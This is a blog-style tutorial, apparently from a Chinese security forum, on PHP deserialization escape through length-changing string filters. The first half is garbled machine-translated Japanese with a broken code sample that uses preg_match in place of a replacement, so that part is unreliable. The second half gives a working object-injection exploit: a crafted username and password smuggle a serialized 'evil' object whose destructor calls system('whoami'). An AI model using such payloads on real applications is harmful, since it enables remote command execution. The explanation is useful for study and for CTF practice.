預言者のコミュニティを開始し、https://xz.aliyun.com/t/6718/edit
PHPのデシリアライズのエスケープ文字
すべてのテストは、以下のPHP 7.1.13の下でNTSを行いました。
直列化復元時に私は、いくつかの特徴についてお話しましょう、PHPは、プロパティに存在しないクラスが直列化復元されます
デシリアライズ中PHPは、基礎となるコードがある
;
のフィールドセパレータ}
(文字列を除く)端として、コンテンツは、長さに応じて決定されます例:通常の逆シリアル化コードを入力するには
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}
、以下の結果が得られるであろう
あなたが交換した場合
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";
それはまだ上記の結果ですが、その長さを変更した場合、例えば、置き換えa:2:{i:0;s:6:"peri0d";i:1;s:4:"aaaaa";}
エラーがされます
ここでは、たとえば、される
x
置き換えyy
パスワードを変更する方法、?
<?php
function filter($string){
return preg_match('/x/','yy',$string);
}
$username = "peri0d";
$password = "aaaaa";
$user = array($username, $password);
var_dump(serialize($user));
echo '\n';
$r = filter(serialize($user));
var_dump($r);
echo '\n';
var_dump(unserialize($r));
通常の下の例シリアライズ
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}
ことは、場合
username
変更peri0dxxx
、治療の結果をシリアル化することはされa:2:{i:0;s:9:"peri0dyyyyyy";i:1;s:5:"aaaaa";}
、この時点では確かに失敗したことをデシリアライズされます私たちは見ることができ
s:9:"peri0dyyyyyy"
、これまで以上に比べて3つの文字を戻る前に、
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}
私はパスワードを変更するために変更を行った後、それについて考えますa:2:{i:0;s:6:"peri0d";i:1;s:6:"123456";}i:1;s:5:"aaaaa";}
文字列を追加するために見ることができる
";i:1;s:6:"123456";}
長さを20
あなたがたいと
peri0d
背後パディング4
、ある文字を、s:30:'peri0dxxxx";i:1;s:6:"123456";}';
プロセスの後にs:30:'peri0dyyyyyyyy";i:1;s:6:"123456";}';
読み込む30
と文字をperi0dyyyyyyyy";i:1;s:6:"12345
このニーズがそこに充填文字増加し続けるために、私はパスワードの変更を実現しばらく
20
x
可以看到,这和
username
前面的peri0d
是毫无关系的,只和做替换的字符串有关
看一看 Joomla 的逃逸
- 看到有人写了简易版的 Joomla 处理反序列化的机制,修改之后代码如下:
<?php
class evil{
public $cmd;
public function __construct($cmd){
$this->cmd = $cmd;
}
public function __destruct(){
system($this->cmd);
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
file_put_contents("dbs.txt", $data);
}
function read(){
$data = file_get_contents("dbs.txt");
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
if(file_exists("dbs.txt")){
unlink("dbs.txt");
}
$username = "peri0d";
$password = "1234";
$payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));
- 详细的代码逻辑不再阐述,它这里就是先将
chr(0).'*'.chr(0)
这3
个字符替换为\0\0\0
这6
个字符,然后再反过来 - 我们这里最终的目的是实现任意的对象注入
- 正常来说,这个序列化结果为
O:4:"User":2:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";}
,我这里的目的是要把password
的字段替换为我的payload
即s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}
- 那么可以想一下,一种可能的结果就是
O:4:"User":2:{s:8:"username";s:32:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
- 如果不清楚这个序列化怎么得到的,可以做一个反向的尝试,因为这是已经知道了要进行对象注入,可以在
User
中多加一个$ts
<?php
class evil{
public $cmd;
public function __construct($cmd){
$this->cmd = $cmd;
}
public function __destruct(){
system($this->cmd);
}
}
class User
{
public $username;
public $password;
public $ts;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
$username = "peri0d";
$password = "1234";
$r = new User($username, $password);
$r->ts = new evil('whoami');
echo serialize($r);
// O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
- 这个序列化结果中,
";s:8:"password";s:4:"1234
长度为26
,加上peri0d
的6
就是32
了,这样就覆盖了password
及其值,再将前面的属性改为2
就符合原来的源码含义了,而且它是可以成功反序列化的 - 接下来就是如何构造
O:4:"User":2:{s:8:"username";s:32:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
,很明显要利用前面的替换使peri0d
扩增来覆盖password
,然后将payload
作为password
的值输入,以达到payload
注入 - 先修改
username="peri0d\\0\\0\\0"
和$password = "123456".$payload
得到序列化结果为O:4:"User":2:O:4:"User":2:{s:8:"username";s:12:"peri0d\0\0\0";s:8:"password";s:53:"123456s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}";}
- 发现有问题,修改
$password = '123456";'.$payload."}"
- 就得到了符合规范的序列化结果
O:4:"User":2:{s:8:"username";s:12:"peri0d\0\0\0";s:8:"password";s:56:"123456";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}
- 这个肯定反序列化不了,这里就想一下,如果可以反序列化,结果如下,用
N
代表NULL
:O:4:"User":2:{s:8:"username";s:12:"peri0dN*N";s:8:"password";s:53:"123456s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}";}
- 这就会多出来
3
个字符,这里一定是按照3
的倍数进行字符增加的,而";s:8:"password";s:56:"123456
长度为29
,这就需要进行增加或减少,从而去凑3
的倍数,这里选择减少,使password
为1234
则长度为27
,即需要9
组\0\0\0
- 最终的 payload :
<?php
$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
$password = '1234";'.$payload."}";
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));
结果:
- 顺便扯一句,这个可以作为一个 CTF 赛题出现,题目名就叫 Joomla,完全没毛病